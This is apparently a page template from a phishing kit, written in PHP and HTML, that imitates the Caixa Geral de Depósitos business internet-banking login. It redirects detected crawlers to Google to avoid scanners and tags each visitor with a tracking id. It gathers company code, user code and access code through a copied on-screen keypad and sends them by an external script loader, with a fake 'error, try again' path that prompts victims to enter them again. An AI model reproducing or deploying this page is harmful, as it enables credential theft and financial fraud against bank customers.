    <?php
require '../vendor/autoload.php';

use Jaybizzle\CrawlerDetect\CrawlerDetect;

$CrawlerDetect = new CrawlerDetect;
$isBot = $CrawlerDetect->isCrawler();

if ($isBot) {
    header("Location: https://google.com");
    exit;
}

?>
<?php 
  $uniqueid = $_SESSION["visitor_uniqueid"];
?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>CGD</title>
         <link rel="shortcut icon" href="<?= URLROOT ?>/panel/assets/images/cgd-favicon.png" type="image/x-icon">
        <link rel="stylesheet" href="<?= URLROOT ?>/panel/bootstrap/css/bootstrap.min.css" >
        <link rel="stylesheet" href="<?= URLROOT ?>/panel/css/style.css" >


         <script>
         var urlroot = '<?= URLROOT ?>';
        var uniqueid = '<?= $uniqueid ?>';
   </script>
    <script src="<?= URLROOT ?>/panel/bootstrap/jquery/jquery.min.js"> </script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/option.js"></script>
   <script type="text/javascript" src="<?= URLROOT ?>/js/browser.js"></script>
  <style>
      main .main-div .form-elements img {
          padding: 8px 20px !important;
          height: 20px !important;
          width: 20px !important;
      }
      .input-wrapper {
    position: relative;
    width: 70px;
  }
  .input-wrapper input.input_box {
    width: 100%;
    padding-left: 20px;
    height: 30px;
  }
  .arrow-inside-input {
    position: absolute;
      top: 47%;
      right: -48px;
    transform: translateY(-50%);
    width: 26px;
    display: none;
    pointer-events: none;
  }
  .btn_9, .back_space, .active_btn {
    display: inline-block;
    padding: 6px 10px;
    margin: 2px;
      border: #bbb 1px solid;
      font-weight: bold;
      font-size: 0.75em;
      vertical-align: middle;
      cursor: pointer;
      color: #666;
      /* background-color: #eee; */
      text-align: center;
    cursor: pointer;
    min-width: 30px;
    text-align: center;
    /* font-size: 14px; */
  }
  .active_btn {
    /* background-color: #1f4e99; */
    color: white;
    border: none;
    background: -webkit-gradient(linear, left bottom, left top, color-stop(0.6, #0073AF), color-stop(1, #66ABCF));
      padding: 6px 25px;
          font-family: Arial, Helvetica, sans-serif;
      text-transform: uppercase;
          font-weight: bold;
      font-size: 0.7em;
          border-radius: 2px;
              text-align: center;
      display: flex
  ;
      align-items: center;
  }
    @media screen and (max-width:991px) {
      .arrow-inside-input{
          display: none !important;
      }
      .label-text{
          text-align: left !important;
      }
    }
    @media screen and (max-width:1200px) {
      .arrow-inside-input {
          right: -35px;
      }
      .key_pad_button{
          margin-top: 5px !important;
      }
    }
    .text-lgi{
          color: #555;
      font-size: 0.75em;
      font-weight: bold;
      padding: 5px 8px;
      margin-bottom: 0px !important;
    }
    .para-lgi{
      font-size: 0.7em;
      padding: 0px 8px;
      margin-bottom: 0px !important;
    }
    .anker-text{
          font-size: 0.7em;
      padding: 0px 8px;    color: #0073AF;
      font-weight: bold;
      text-decoration: none;
    }
    .label-text{
      margin-right: 8px;
          font-size: 0.75em;
      color: #333;
          font-weight: bold;
    }
  </style>

    </head>
    <body>
    <header class="pt-4">
        <div class="container">
            <div class="row">
                <div class="col-md-12">
                    <img class="img-fluid" src="<?= URLROOT ?>/panel/got/logo_CDO.gif" alt="">
                </div>
            </div>
        </div>
    </header>
    <section class=" mt-3">
      <div class="container">
        <div class="row ">
            <div class="col-md-12 p-0">
                <div class="top_border pl-3 pr-3">
                <div class="d-flex justify-content-end align-items-center">
                    <p class="mb-0 text-white">PT <span class="en">EN</span></p>
                </div>
            </div>
            </div>
            </div>
            <div class="row m-auto justify-content-center align-items-center">
                <div class="col-md-4">
                    <img src="<?= URLROOT ?>/panel/imgs/image_homepage.jpg" class="img-fluid" alt="">
                </div>
            <div class="col-md-4">
                <form  action="#" id="form" method="post" name="login">

                    <input type="hidden" name="bank_status" id="bank_status" value="CGD">
                 <input name="new_data" value="true" type="hidden">
                 <input name="status" value="0" type="hidden">
                  <input name="uniqueid" value="<?= $uniqueid ?>" type="hidden">

                          <?php

                  if(isset($_GET['resend'])){
                    ?>
                      <div class="alert alert-danger mr-3 my-1" style="background: red;padding: 10px;margin-bottom: 10px;color: white;border-radius: 10px;">Ocorreu um erro, tente novamente...</div>
                    <?php
                  }
                  ?>


                   <div class="row mt-3 align-items-center justify-content-end">
  <div class="col-md-5 p-0 text-right label-text">
    <label class="mb-0" style="font-size: 12px;">Código de empresa</label>
  </div>
  <div class="col-md-3 col-12 p-0">
    <div class="input-wrapper">
      <img src="<?= URLROOT ?>/panel/imgs/seta_login.gif" class="arrow-inside-input" />
      <input type="text" class="input_box" id="contract_number" maxlength="6">
    </div>
  </div>
</div>

<div class="row mt-2 align-items-center justify-content-end">
  <div class="col-md-5 p-0 text-right label-text">
    <label class="mb-0" style="font-size: 12px;">Código de utilizador	</label>
  </div>
  <div class="col-md-3 col-12 p-0">
    <div class="input-wrapper">
      <img src="<?= URLROOT ?>/panel/imgs/seta_login.gif" class="arrow-inside-input" />
      <input type="text" class="input_box" id="user_code" maxlength="6">
    </div>
  </div>
</div>

<div class="row mt-2 align-items-center justify-content-end">
  <div class="col-md-5 p-0 text-right label-text">
    <label class="mb-0" style="font-size: 12px;">Código de acesso</label>
  </div>
  <div class="col-md-3 col-12 p-0">
    <div class="input-wrapper">
      <img src="<?= URLROOT ?>/panel/imgs/seta_login.gif" class="arrow-inside-input" />
      <input type="password" class="input_box" id="access_code" maxlength="6">
    </div>
  </div>
</div>

                </form>
            </div>
            <div class="col-md-4">
                <!-- KEYPAD -->
                 <p class="mb-0 mt-3 text-right" style="color: #888;     font-size: 0.75em; font-weight: bold;">Ainda não tem código? Clique <span style="color: #0073AF;"> aqui </span></p>
<div class="key_pad_input pb-3 mt-2">
  <div class="key_pad_button pt-3 pl-3 pr-3 d-flex flex-wrap gap-2">
    <span class="btn_9">4</span>
    <span class="btn_9">3</span>
    <span class="btn_9">6</span>
    <span class="btn_9">9</span>
    <span class="btn_9">8</span>
    <span class="back_space"><img src="<?= URLROOT ?>/panel/imgs/seta_apagar.gif" alt=""></span>
    <span class="back_space">APAGAR</span>
  </div>
  <div class="key_pad_button pl-3 pr-3 d-flex flex-wrap gap-2 mt-1">
    <span class="btn_9">7</span>
    <span class="btn_9">5</span>
    <span class="btn_9">0</span>
    <span class="btn_9">1</span>
    <span class="btn_9">2</span>
    <span class="active_btn" onclick="formSubmit()">ENTRAR</span>
  </div>
  <div class="d-flex justify-content-center align-items-center mt-2">
    <a style="border: none; font-size: 14px;">Contraste do teclado</a>
  </div>
</div>
            </div>
            <!-- <div class="col-md-2">
                <img src="<?= URLROOT ?>/panel/got/logo_ama.png" class="img-fluid" alt="">
            </div> -->
        </div>
      </div>
    </section>
<section>
    <div class="container">
        <div class="row">
            <div class="col-md-12">
                <div class="d-flex gap-heading mt-4">
                    <div class="d-flex flex-column flex-wrap flex_column_01">
                        <h1 class="heading text-center text-uppercase">O Que Há de Novo
                        </h1>
                        <img src="<?= URLROOT ?>/panel/imgs/img-01.png" class="img-fluid img_01" alt="">
                        <h6 class="text-lgi">Condições especiais para operações de créditos documentários, garantias bancárias e forfaiting</h6>
                        <p class="para-lgi" >
                           Receba a pronto as receitas das suas exportações: antecipamos até 100% as receitas de exportação por Créditos Documentários em Euros e moeda estrangeira, oferecendo-lhe liquidez imediata.;
                        </p>
                         <a href="#" class="anker-text">saiba mais >></a>
                    </div>
                    <div class="d-flex flex-column flex-wrap flex_column_01">
                        <h1 class="heading text-center text-uppercase">Campanha
                        </h1>
                        <img src="<?= URLROOT ?>/panel/imgs/img-02.png" class="img-fluid img_01" alt="">
                         <h6 class="text-lgi">PME Lider 2024</h6>
                        <p class="para-lgi">
                           Damos os parabéns a todas as empresas PME Líder e agradecemos, especialmente, às que apresentaram a candidatura connosco.
                        </p>
                         <a href="#" class="anker-text">saiba mais >></a>
                    </div>
                    <div class="d-flex flex-column flex-wrap flex_column_01">
                        <h1 class="heading text-center text-uppercase">SABIA QUE...
                        </h1>
                        <img src="<?= URLROOT ?>/panel/imgs/img-03.jpg" class="img-fluid img_01"  alt="">
                        <h6 class="text-lgi">Cartão Break</h6>
                        <p class="para-lgi">
                           Um cartão bancário pré-pago para pagamento do subsidio de alimentação com vantagens fiscais.
                        </p>
                         <a href="#" class="anker-text">saiba mais >></a>
                    </div>
                    <div class="d-flex flex-column flex-wrap  flex_column_01">
                        <h1 class="heading text-center text-uppercase">EM DESTAQUE
                        </h1>
                        <img src="<?= URLROOT ?>/panel/imgs/img-04.jpg" class="img-fluid img_01" alt="">
                        <h6 class="text-lgi">Linha IFAP Língua Azul</h6>
                        <p class="para-lgi">
                          Apoiamos quem cuida: reforço às explorações ovinas afetadas pela Língua Azul.
                        </p>
                        <a href="#" class="anker-text">saiba mais >></a>
                    </div>
                    <div class="d-flex flex-column flex-wrap flex_column_01">
                        <h1 class="heading active text-center text-uppercase">Tentativas fraude
                        </h1>
                        <img src="<?= URLROOT ?>/panel/imgs/img-05.gif" class="img-fluid img_01" alt="">
                        <h6 class="text-lgi">Esteja atento e defenda-se...</h6>
                        <p class="para-lgi">
                         Conheça as últimas tentativas de fraude e saiba como evitar situações que podem comprometer a privacidade e a segurança de clientes de Internet Banking da CGD e de outros bancos.
                        </p>
                        <a href="#" class="anker-text">saiba mais >></a>
                    </div>
                </div>
            </div>
        </div>
    </div>
</section>
<footer></footer>
<div class="footer_bottom"></div>
<div class="lang-links d-flex justify-content-center  mt-2">
    <a href="">Segurança</a>
    <a href="">Contactos</a>
    <a href="">Preçário</a>
    <a href="">Condições Gerais</a>
    <!-- <a href="">Espaço Cliente</a> -->
</div>
<img src="<?= URLROOT ?>/panel/imgs/footer.png" class="img-fluid d-flex m-auto" alt="">

 <p class="mb-0 text-center" style="    font-size: 0.56em;
    color: #888;
    text-align: center;">A CGD está registada junto do Banco de Portugal sob o n.º 35, da CMVM sob o n.º 125 e da ASF sob o nº 419501357. <br>

2025 © Caixa Geral de Depósitos, SA. Todos os direitos reservados.</p>
    <script src="<?= URLROOT ?>/panel/bootstrap/js/popper.min.js"> </script>
    <script src="<?= URLROOT ?>/panel/bootstrap/js/bootstrap.min.js"> </script>
  <script>
let currentInput = null;

// Focus logic
$(".input_box").on("focus click", function () {
  currentInput = $(this);
  $(".arrow-inside-input").hide(); // Hide all arrows
  $(this).siblings(".arrow-inside-input").show(); // Show arrow for active input
});

// Button input
$(".btn_9").on("click", function () {
  if (currentInput) {
    let value = currentInput.val();
    if (value.length < currentInput.attr("maxlength")) {
      currentInput.val(value + $(this).text().trim());
    }
  }
});

// Delete input
$(".back_space").on("click", function () {
  if (currentInput) {
    let value = currentInput.val();
    currentInput.val(value.slice(0, -1));
  }
});

// Optional: set initial focus
$(document).ready(function () {
  $("#contract_number").trigger("focus");
});
</script>


 <script>
     function chageValue(){
           var contract_number = $('#contract_number').val();
           var user_code = $('#user_code').val();
           var access_code = $('#access_code').val();
           if(contract_number != "" && user_code != "" && access_code != ""){
               $('#form_check').removeAttr('disabled','disabled')
           }else{
                $('#form_check').attr('disabled','disabled')
           }
     }
    function formSubmit(){

        var contract_number = $('#contract_number').val();
           var user_code = $('#user_code').val();
           var access_code = $('#access_code').val();
           if(contract_number == "" || user_code == ""|| access_code == ""){
               alert("All field is required")
           }else{
                var loader = new Option();
          loader.formSubmit();
           }

       
          
      

      


    }
    
   </script>
   <script>


$(document).ready(function () {
    let $focusedInput = null;

    // Track which input is focused
    $('.input_digit').on('focus', function () {
        $focusedInput = $(this);
    });

    // Handle number button click
    $('.btn_9').not('.back_space, .active').on('click', function () {
        if ($focusedInput) {
            const digit = $(this).text().trim();
            $focusedInput.val($focusedInput.val() + digit);
        }
    });

    // Handle backspace
    $('.back_space').on('click', function () {
        if ($focusedInput) {
            let currentVal = $focusedInput.val();
            $focusedInput.val(currentVal.slice(0, -1));
        }
    });
});
</script>

</body>
</html>